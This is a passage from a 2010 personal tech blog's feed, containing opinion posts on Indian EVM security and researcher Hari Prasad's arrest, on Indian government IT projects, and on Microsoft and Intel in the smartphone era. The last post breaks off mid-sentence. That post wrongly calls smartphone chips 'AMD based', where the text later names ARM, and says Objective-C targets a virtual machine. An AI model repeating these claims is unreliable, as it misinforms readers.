]]></content><category scheme="https://ashishb.net/category/tech-thoughts" term="tech-thoughts" label="tech-thoughts"/><category scheme="https://ashishb.net/tag/nokia" term="nokia" label="nokia"/></entry><entry><title type="html">EVM controversy in India</title><link href="https://ashishb.net/security/evm-controversy-in-india/?utm_source=atom_feed" rel="alternate" type="text/html"/><link href="https://ashishb.net/security/cyber-security-in-india-role-of-cert-in/?utm_source=atom_feed" rel="related" type="text/html" title="Cyber Security in India : Role of CERT-In"/><link href="https://ashishb.net/security/blackberry-controversy-in-india/?utm_source=atom_feed" rel="related" type="text/html" title="BlackBerry Controversy in India"/><link href="https://ashishb.net/tech/how-indian-govt-deals-with-technology/?utm_source=atom_feed" rel="related" type="text/html" title="How Indian Government deals with Technology"/><link href="https://ashishb.net/tech/indian-startup-bubble/?utm_source=atom_feed" rel="related" type="text/html" title="The Indian startup bubble is insane"/><link href="https://ashishb.net/travel/why-indian-passport-remains-weak/?utm_source=atom_feed" rel="related" type="text/html" title="Why Indian Passport remains weak"/><id>https://ashishb.net/security/evm-controversy-in-india/</id><author><name>Ashish Bhatia</name></author><published>2010-11-11T08:38:57+00:00</published><updated>2010-11-11T08:38:57+00:00</updated><content type="html"><![CDATA[<blockquote>Honoring Sh. Hari Prasad, 2010 EFF Pioneer Award winner, highlighting EVM security concerns and his courageous stand for electoral integrity in India.</blockquote><p>The post is written in honor of Sh. Hari Prasad, the winner of   
    
    
<a href="https://www.eff.org/?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">EFF</a>   
    
    
<a href="https://www.eff.org/awards/pioneer/2010?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">Pioneer Award 2010</a></p>
<p>About a decade ago, Election Commission of India(   
    
    
<a href="https://eci.nic.in?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">ECI</a>) began mass deployment of the Electronic voting machine(   
    
    
<a href="https://en.wikipedia.org/wiki/Indian_voting_machines?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">EVM</a>) for elections. The security of EVM lies only in their obscured details, the details about software and hardware are only vaguely available. No third-party audits of its security have ever been done.  Time and again, security researchers have asked for access to EVM but they have been denied regularly except in September 2009, where Hari Prasad was asked to demonstrate an attack on EVM in 2 hours and then stopped within 10 minutes showing intellectual property concerns.</p>
<p>Unlike technology-based financial transaction systems which evolved over years to handle   
    
    
<a href="https://en.wikipedia.org/wiki/Phishing?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">phishing</a> attacks,   
    
    
<a href="https://en.wikipedia.org/wiki/Man-in-the-middle_attack?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">MITM</a> and   
    
    
<a href="https://en.wikipedia.org/wiki/Credit_card_fraud?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">credit card</a> based fraud, unlike financial transactions, the elections are held relatively infrequently and hence does not provide much opportunity to evolve and learn the adversaries. Unless the results of elections are verified against another source, it is impossible to tell if the machine is without bugs or not. Also unlike finance, there is nothing to   
    
    
<a href="https://en.wikipedia.org/wiki/Hedge_%28finance%29?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">hedge</a> against here. As we know embedded systems are inherently prone to bugs. Yes, even those who are deeply scrutinized space rockets and satellites have   
    
    
<a href="https://www.around.com/ariane.html?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">integer overflow errors</a>,   
    
    
<a href="https://economictimes.indiatimes.com/infotech/internet/Cyber-threat-Isro-rules-out-Stuxnet-attack-on-Insat-4-B/articleshow/6733370.cms?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">attacked by worms</a> and   
    
    
<a href="https://articles.cnn.com/1999-09-30/tech/9909_30_mars.metric.02_1_climate-orbiter-spacecraft-team-metric-system?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">assume wrong units</a>, without a rigorous audit, it is impossible to say that they will work fine.</p>
<p>Given how Indian govt 
<a href="/tech/how-indian-govt-deals-with-technology/">deals with technology</a>, this is not something new but what is intriguing is the fact that when researchers demonstrated that   
    
    
<a href="https://indiaevm.org/?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">EVMs are not secure</a>, rather than awarding the whistleblowers, ECI   
    
    
<a href="https://www.engadget.com/2010/08/23/e-voting-whistleblower-hari-prasad-arrested-taken-to-mumbai-for/?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">arrested</a> Hari Prasad[the only Indian national in the group], blatantly denied that EVM can be compromised and used all sorts of harassments to pressurize him to reveal the &ldquo;source&rdquo; which provided the EVM. Even the highest judiciary body in India, the Supreme Court has   
    
    
<a href="https://ibnlive.in.com/generalnewsfeed/news/sc-dismisses-petition-on-evm/300581.html?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">already declared</a> that ECI is the sole authority on this topic. Hitherto that, even ECI does not have the source code of the machines (their &ldquo;technical team&rdquo; has looked at the source code but the machines&rsquo; source code is read protected so even ECI cannot verify that the machines they have received are untampered). Quoting Prasad, now ECI is planning for paper   
    
    
<a href="https://en.wikipedia.org/wiki/Audit_trail?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">audit trail</a> which can be later used for verification in case of later verification.</p>
<p>Disclaimer: <em>This is my personal blog. The views expressed on these pages are mine alone and not those of my employer.</em></p>
]]></content><category scheme="https://ashishb.net/category/security" term="security" label="security"/><category scheme="https://ashishb.net/tag/evm" term="evm" label="evm"/><category scheme="https://ashishb.net/tag/india" term="india" label="india"/></entry><entry><title type="html">How Indian Government deals with Technology</title><link href="https://ashishb.net/tech/how-indian-govt-deals-with-technology/?utm_source=atom_feed" rel="alternate" type="text/html"/><link href="https://ashishb.net/tech/foss-free-and-open-source-code-licensing-faq/?utm_source=atom_feed" rel="related" type="text/html" title="FOSS (Free and Open Source Code) Licensing FAQ"/><link href="https://ashishb.net/security/cyber-security-in-india-role-of-cert-in/?utm_source=atom_feed" rel="related" type="text/html" title="Cyber Security in India : Role of CERT-In"/><link href="https://ashishb.net/security/blackberry-controversy-in-india/?utm_source=atom_feed" rel="related" type="text/html" title="BlackBerry Controversy in India"/><link href="https://ashishb.net/tech/indian-startup-bubble/?utm_source=atom_feed" rel="related" type="text/html" title="The Indian startup bubble is insane"/><link href="https://ashishb.net/tech/towards-a-broken-future-of-internet/?utm_source=atom_feed" rel="related" type="text/html" title="Towards a broken future of Internet"/><id>https://ashishb.net/tech/how-indian-govt-deals-with-technology/</id><author><name>Ashish Bhatia</name></author><published>2010-10-16T10:50:49+00:00</published><updated>2010-10-16T10:50:49+00:00</updated><content type="html"><![CDATA[<blockquote>Discover how the Indian government manages IT projects, from ambitious initiatives to overhyped tech solutions. Explore key challenges and suggestions for improvement.</blockquote><p>This article illustrates some examples of how the Indian government deals with (Information) Technology.
Some of these projects are unheard of while some generated unnecessary hype.</p>
<ol>
<li>CDAC&rsquo;s   
    
    
<a href="https://www.ildc.gov.in/?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">Indian Language Software and font CD</a>
I got a copy of it within the first few months of its release, turned out to be full of semi-polished unusable software where you have to learn weird key-mapping to type[why not use   
    
    
<a href="https://www.google.com/inputtools/try/?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">transliteration</a> instead]. Some of the software even used non-Unicode formatting[   
    
    
<a href="https://blog.pothi.com/2010/06/15/indian-language-typing-on-computer/?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">why is non-Unicode bad</a>].
<em>Suggestion: Why not make good regional language Unicode-based fonts? [what are the prime reasons for the non-adoption of  Unicode in India as</em>   
    
    
<a href="https://blog.pothi.com/2010/06/17/the-hurdle-in-unicode-adoption-in-indian-languages-print-and-unicode-fonts/?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener"><em>explained here</em></a> <em>]</em></li>
<li>ISRO&rsquo;s   
    
    
<a href="https://bhuvan.nrsc.gov.in/bhuvan_links.php?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">Bhuvan</a>
With   
    
    
<a href="https://isrobhuvan.in/minimum-system-requirements-for-bhuvan/?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">minimum</a> system requirements much more than that of   
    
    
<a href="https://support.google.com/earth/answer/21955?guide=22358&amp;ref_topic=22360&amp;visit_id=636786421185452418-1539155767&amp;rd=1&amp;utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">Google Earth</a>, being based on age-old insecure   
    
    
<a href="https://en.wikipedia.org/wiki/ActiveX?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">ActiveX</a> technology,  only available for Internet Explorer users, having unnecessary registration requirements,s and an   
    
    
<a href="https://bhuvan.nrsc.gov.in/about.html?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">ill-maintained</a> and slow website. It never really took off.
<em>Suggestion: If ISRO has better [and finer] views of India than Google Earth then they should contribute them back to</em> <em>  
    
    
<a href="https://code.google.com/apis/kml/?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">Google Earth</a> unless ISRO can really make their software as usable as Google Earth</em>  ISRO   
    
    
<a href="https://bhuvan.nrsc.gov.in/bhuvan_links.php?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">Bhuvan</a> is now a web application, just like Google Maps.</li>
<li>Sibal&rsquo;s   
    
    
<a href="https://trak.in/tags/business/2010/07/22/35-usd-computing-device-launched-mhrd-india/?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">35$ tablet</a>
Interestingly, the report says that PCB was fabricated by   
    
    
<a href="https://www.iitk.ac.in/ee/printed-circuit-board-pcb?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">IIT Kanpur PCB Lab</a>, never heard of this project going on in IIT Kanpur[I was in IIT Kanpur till the summer of 2010, and I was aware of   
    
    
<a href="https://en.wikipedia.org/wiki/Jugnu_%28satellite%29?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">nano-satellite</a>,   
    
    
<a href="https://www.iitk.ac.in/dord/lunar-rover?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">lunar rover</a>, and   
    
    
<a href="https://www.iitk.ac.in/dord/boeing/?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">Boeing</a> project, though].
Also, the report has an emphasis on how many different formats can be read with no details of the hardware. Is it really designed in India or made by   
    
    
<a href="https://androidos.in/2010/09/the-truth-about-35-android-tablet-from-indian-government/?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">Hivision Speedpad</a> repackaged as if it&rsquo;s made by premier institutes of India?
And when   
    
    
<a href="https://en.wikipedia.org/wiki/Indian_Institute_of_Technology_Rajasthan?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">IIT Rajasthan</a> is doing &quot;   
    
    
<a href="https://androidos.in/2010/09/hcl-to-manufacture-35-indian-android-tablet-first-batch-before-10-jan/?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">extensive field and laboratory tests</a>&quot;, something looks fishy for sure.
(Readers please note that IIT Rajasthan was established in 2008, was running inside the IIT Kanpur campus till recently and now running at MBM Engineering College, Ratanada, Jodhpur.)
On a side note: The report also mentions   
    
    
<a href="https://nptel.ac.in/?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">NPTEL</a> videos which are pretty much useless in most of rural India due to poor last-mile connectivity and bandwidth issues, but it was at least partially successful wherever the bandwidth was available)
<em>Suggestion: Stop making such weird claims better buy a lot of old (new and second-hand) laptops (~100-200$) and distribute them to children. (yeah, I know the deal does not look attractive but it is realistic)</em></li>
<li>  
    
    
<a href="https://bosslinux.in/?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">Boss</a> (Bharat Operating System)
Linux distribution developed (or repackaged?) by   
    
    
<a href="https://en.wikipedia.org/wiki/National_Resource_Centre_for_Free/Open_Source_Software?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">NRCFOSS</a>, even endorsed by   
    
    
<a href="https://www.hindu.com/2008/10/26/stories/2008102655171100.htm?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">media</a>, but what is special about it from a user&rsquo;s perspective?
It looks like it is just a repackaged version of the software from the GNU/Linux repository, you can make yours   
    
    
<a href="https://linuxologist.com/1general/create-your-own-linux-distro/?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">here.</a>
To make matters worst, There is no public code versioning system for BOSS[as discussed on   
    
    
<a href="https://www.mail-archive.com/ilugc@ae.iitm.ac.in/msg18691.html?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">Chennai LUG</a>]  which imply that practically no FOSS developer can contribute to the codebase.
<em>Suggestion: Contribute to localizing a popular release like Ubuntu rather than repackaging existing stuff.</em></li>
<li>DRDO&rsquo;s operating system
&quot; <em>There are many gaps in our software areas; particularly we don&rsquo;t have our own operating system</em>,&quot; said Saraswat, Director General of DRDO and Secretary, of Defence R &amp; D [   
    
    
<a href="https://timesofindia.indiatimes.com/tech/news/software-services/Security-threat-DRDO-to-make-own-OS/articleshow/6719375.cms?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">source</a>]
But wasn&rsquo;t BOSS released just a few months ago? <em>never mind, in fact, read further &ldquo;[for your own operating system] source code is with you and then nobody knows what&rsquo;s that&rdquo;, now anyone with basic knowledge of security will call this   
    
    
<a href="https://en.wikipedia.org/wiki/Security_through_obscurity?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">security through obscurity</a> which never works.</em>
<strong>Suggestion: Please verify the claims.</strong></li>
<li><em>India&rsquo;s own processor chip [Zerone Corp.]</em>
<em>The same   
    
    
<a href="https://www.siliconindia.com/shownews/Govt_to_aid_chip_designing_in_India-nid-59414.html?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">security</a> argument was given to develop India&rsquo;s own processor,   
    
    
<a href="https://www.eetimes.com/electronics-news/4083988/Report-India-to-pursue-homegrown-microprocessor-design?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">criticized</a> by EETimes, but never heard about this processor again.</em>
<em>But DRDO has   
    
    
<a href="https://www.drdo.gov.in/drdo/labs1/ANURAG/English/indexnew.jsp?pg=achieve.jsp&amp;utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">ANUPAMA</a> from   
    
    
<a href="https://en.wikipedia.org/wiki/Advanced_Numerical_Research_and_Analysis_Group?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">ANURAG labs</a>, isn&rsquo;t this a general-purpose processor?</em> <em>Suggestion: If the government is really worried about processor chips from international companies, they can manufacture their own processor around</em>   
    
    
<a href="https://www.opensparc.net/?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener"><em>OpenSPARC</em></a> <em>core but why spent effort on reinventing the wheel?</em></li>
</ol>
<p>Disclaimer:</p>
<ol>
<li><em>This is my personal blog. The views expressed on these pages are mine alone and not those of my employer.</em></li>
<li><em>The article is only about the Indian government(and public sector companies), it in no way reflects any negative views towards private sector companies in India.</em></li>
</ol>
]]></content><category scheme="https://ashishb.net/category/tech-thoughts" term="tech-thoughts" label="tech-thoughts"/><category scheme="https://ashishb.net/tag/bhuvan" term="bhuvan" label="bhuvan"/><category scheme="https://ashishb.net/tag/drdo" term="drdo" label="drdo"/><category scheme="https://ashishb.net/tag/foss" term="foss" label="foss"/><category scheme="https://ashishb.net/tag/india" term="india" label="india"/><category scheme="https://ashishb.net/tag/isro" term="isro" label="isro"/><category scheme="https://ashishb.net/tag/linux" term="linux" label="linux"/><category scheme="https://ashishb.net/tag/security" term="security" label="security"/><category scheme="https://ashishb.net/tag/zerone" term="zerone" label="zerone"/></entry><entry><title type="html">Decline of Microsoft and Intel in smartphone+Internet era</title><link href="https://ashishb.net/tech/the-decline-of-microsoft-and-intel-in-internet-centric-era/?utm_source=atom_feed" rel="alternate" type="text/html"/><link href="https://ashishb.net/tech/intel-server-market/?utm_source=atom_feed" rel="related" type="text/html" title="Intel will lose server market even faster than consumer"/><link href="https://ashishb.net/tech/cablegate-and-the-aftermath-a-few-observations/?utm_source=atom_feed" rel="related" type="text/html" title="Cablegate and the aftermath: a few observations"/><link href="https://ashishb.net/tech/nokia-and-the-smartphone-era/?utm_source=atom_feed" rel="related" type="text/html" title="Nokia and the smartphone era"/><link href="https://ashishb.net/tech/how-indian-govt-deals-with-technology/?utm_source=atom_feed" rel="related" type="text/html" title="How Indian Government deals with Technology"/><link href="https://ashishb.net/tech/outsourcing/?utm_source=atom_feed" rel="related" type="text/html" title="Why software outsourcing gets a bad reputation?"/><id>https://ashishb.net/tech/the-decline-of-microsoft-and-intel-in-internet-centric-era/</id><author><name>Ashish Bhatia</name></author><published>2010-10-11T04:03:22+00:00</published><updated>2010-10-11T04:03:22+00:00</updated><content type="html"><![CDATA[<blockquote>Discover how the shift to smartphones and online applications challenges Intel and Microsoft&rsquo;s dominance in the PC-centric era, propelling an internet-driven future.</blockquote><p>An article on how the internet-centric era supplemented by smartphones is giving tough time to Intel and Microsoft and why the two giants of Desktop-centric computing era are not able to retain their stronghold in the consumer market anymore.</p>
<p>A bit of past,</p>
<ol>
<li>  
    
    
<a href="https://www.sun.com?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener"><strong>SUN</strong></a> <strong>Microsystems</strong> Sun Microsystems was the maker of   
    
    
<a href="https://en.wikipedia.org/wiki/SPARC?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">SPARC</a> architecture based servers and   
    
    
<a href="https://en.wikipedia.org/wiki/Java_%28programming_language%29?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">Java</a> which is one of the most popular IT application platform. Oracle acquired Sun Microsystems after the latter failed severely to maintain its lead in the server market. The prime reason for failure is believed to be its inability to adapt to the emerging market of X86 based servers which proved to be much cheaper than its SPARC based high-end servers.</li>
<li><strong>  
    
    
<a href="https://www.ibm.com?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">IBM</a></strong> IBM used to be a big player in the world of computers, still has one of the most prominent research centers,   
    
    
<a href="https://www.watson.ibm.com/index.shtml?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">T J Watson</a>, develops massive   
    
    
<a href="https://en.wikipedia.org/wiki/Top500?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">super-computers</a>, holds the record for world&rsquo;s   
    
    
<a href="https://www.engadget.com/2010/09/06/ibm-claims-worlds-fastest-processor-with-5-2ghz-z196/?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">fastest processor</a>, in terms of frequency. Thanks to   
    
    
<a href="https://en.wikipedia.org/wiki/Vendor_lock-in?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">vendor lock-in</a>, it still earns a considerable revenue from technology but has lost the limelight. After selling its   
    
    
<a href="https://en.wikipedia.org/wiki/ThinkPad?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">laptop division</a> to   
    
    
<a href="https://www.lenovo.com?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">Lenovo</a>, its impact on innovation especially in the consumer market took a nosedive.</li>
</ol>
<p>A bit of the recent past,</p>
<ol>
<li><strong>  
    
    
<a href="https://www.intel.com?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">Intel</a></strong> Intel became famous from its Pentium processors. The complicated and proprietary X86 architecture, along with the vast amount of code written for X86 became another form of vendor lock-in for desktop, both PC and enterprise, computer market. Intel tried hard not only to ensure X86 monopoly but also to   
    
    
<a href="https://www.nytimes.com/2009/05/14/business/global/14compete.html?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">keep</a> AMD out. The   
    
    
<a href="https://technology.timesonline.co.uk/tol/news/tech_and_web/article4472654.ece?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">OLPC incident</a> is also a good read on that.</li>
<li><strong>  
    
    
<a href="https://www.microsoft.com?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">Microsoft</a></strong> Microsoft is the maker of the most popular operating system,   
    
    
<a href="https://www.windows.com?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">windows</a> and   
    
    
<a href="https://www.office.com?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">Office</a> productivity suite. Thanks to Intel-Microsoft partnership, popularly known as   
    
    
<a href="https://en.wikipedia.org/wiki/Wintel?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">Wintel</a>, and the PC-centric era, which transformed to smartphones era somewhere in the middle of the first decade of 21st century, Microsoft earned huge revenues, and it was a big player which everyone feared, especially after the first   
    
    
<a href="https://en.wikipedia.org/wiki/Browser_wars?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">browser war</a> which almost killed Netscape.</li>
</ol>
<p>And the present,</p>
<p>With the emergence of   
    
    
<a href="https://www.blogger.com?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">Blogger</a>,   
    
    
<a href="https://www.youtube.com?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">YouTube</a>,   
    
    
<a href="https://www.facebook.com?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">Facebook</a> and a plethora of other   
    
    
<a href="https://xkcd.com/802/?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">online communities</a>, people are now spending more time online than on desktop applications. This not only includes leisure time but also a lot of productive time is being spent on the Internet or   
    
    
<a href="https://en.wikipedia.org/wiki/Cloud_computing?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">cloud-based applications</a>, this fact is quite evident from the rise of applications like   
    
    
<a href="https://www.google.com/apps/intl/en/business/index.html?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">Google apps</a>,   
    
    
<a href="https://www.zoho.com?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">Zoho</a> office suite, and   
    
    
<a href="https://www.salesforce.com?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">Salesforce</a> CRM. This has hit hard on Microsoft whose primary business is selling desktop applications, and the anger is quite   
    
    
<a href="https://www.informationweek.com/news/software/enterpriseapps/showArticle.jhtml?articleID=221500016&amp;utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">visible</a> indeed. Secondly, since the cloud management is in the hand of these big companies, the Intel&rsquo;s primary product, the processor, and the chipset become irrelevant to most users as well. Relatively inexpensive hardware turns out to be sufficient for most consumers [while crucial data being managed by Google/Zoho/Salesforce which specializes in providing reliability over cheap hardware]
And then something big happened on Jan 9, 2007, the first iPhone was introduced, this followed by   
    
    
<a href="https://web.archive.org/web/20090609202810/https://www.informationweek.com/blog/main/archives/2008/07/tmobiles_htc_dr.html?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">first Android phone</a> in the following year, this further followed by   
    
    
<a href="https://www.engadget.com/2008/06/24/nokia-buys-symbian/?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">Nokia bought Symbian</a>, and then   
    
    
<a href="https://techcrunch.com/2010/04/28/hp-palm-deal-webos/?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">HP bought PalmOS</a>, the era of smartphones had just begun. Most of these smartphones run on   
    
    
<a href="https://www.amd.com?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">AMD</a> based hardware [including AMD based processor chips by   
    
    
<a href="https://www.qualcomm.com?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">Qualcomm</a> and   
    
    
<a href="https://www.ti.com?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">TI</a>]. Another significant aspect of these new applications is that rather than being natively compiled which leads to hardware lock-in, they are interpreted [HTML5, javascript] or compiled for a virtual machine[   
    
    
<a href="https://en.wikipedia.org/wiki/Objective-C?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">Objective-C</a>, Java (   
    
    
<a href="https://en.wikipedia.org/wiki/Dalvik_%28software%29?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">Dalvik Virtual Machine</a>)], this further prevents vendor lock-in.</p>
<p><strong>And what is Microsoft doing about this</strong>, after   
    
    
<a href="https://en.wikipedia.org/wiki/Microsoft_Kin?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">Microsoft Kin</a> got discontinued due to poor sales in just three months, windows mobile   
    
    
<a href="https://arstechnica.com/microsoft/news/2009/08/windows-mobile-loses-27-of-smartphone-market-in-q2.ars?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">continuously</a> lost market share for another year and HP   
    
    
<a href="https://techcrunch.com/2010/04/29/hewlett-packard-to-kill-windows-7-tablet-project/?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">canceled</a> Windows Mobile-based tablet, Microsoft is being hit hard both in the field of smartphones and cloud computing. Yes, the Office and Windows will keep generating revenues, sales might plummet a bit but unlike Microsoft does some magic [just like it did with   
    
    
<a href="https://techcrunch.com/2010/04/28/hp-palm-deal-webos/?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">XBox</a>], it is bound to become IBM of the smartphone-supplemented Internet-centric era. At the least, rather than baffling and calling Online Office apps as   
    
    
<a href="https://www.fakeoffice.org?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">fake offerings</a>, they have to acknowledge that the era of purchasing desktop applications is over, and they have to find out other ways of making revenues.</p>
<p><strong>What about Intel</strong>, Intel is trying hard to become a key vendor for smartphone processors but a   
    
    
<a href="https://en.wikipedia.org/wiki/Comparison_of_smartphones?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">quick comparison</a> shows that unlike PC era, where Intel is ~90% of the market, no one apart from Windows Mobile and Palm[Palm will probably use Qualcomm Snapdragon after its inquisition by HP] embraces Intel. Intel   
    
    
<a href="https://www.pcworld.com/businesscenter/article/194087/intel_puts_googles_android_on_atom_smartphones.html?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">ported</a> Android to Intel&rsquo;s low power X86 based Atom processor to convince smartphone makers to move to Atom, but I believe the only thing which kept a more complex design like X86 into power is the legacy code. Now since the legacy applications are being given away in favor of Internet-centric apps [thankfully which are not compiled to native code],   
    
    
<a href="https://www.arm.com?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">ARM</a> which is a much simpler and (almost)   
    
    
<a href="https://en.wikipedia.org/wiki/Reduced_instruction_set_computing?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">RISC</a> architecture is preferable over   
    
    
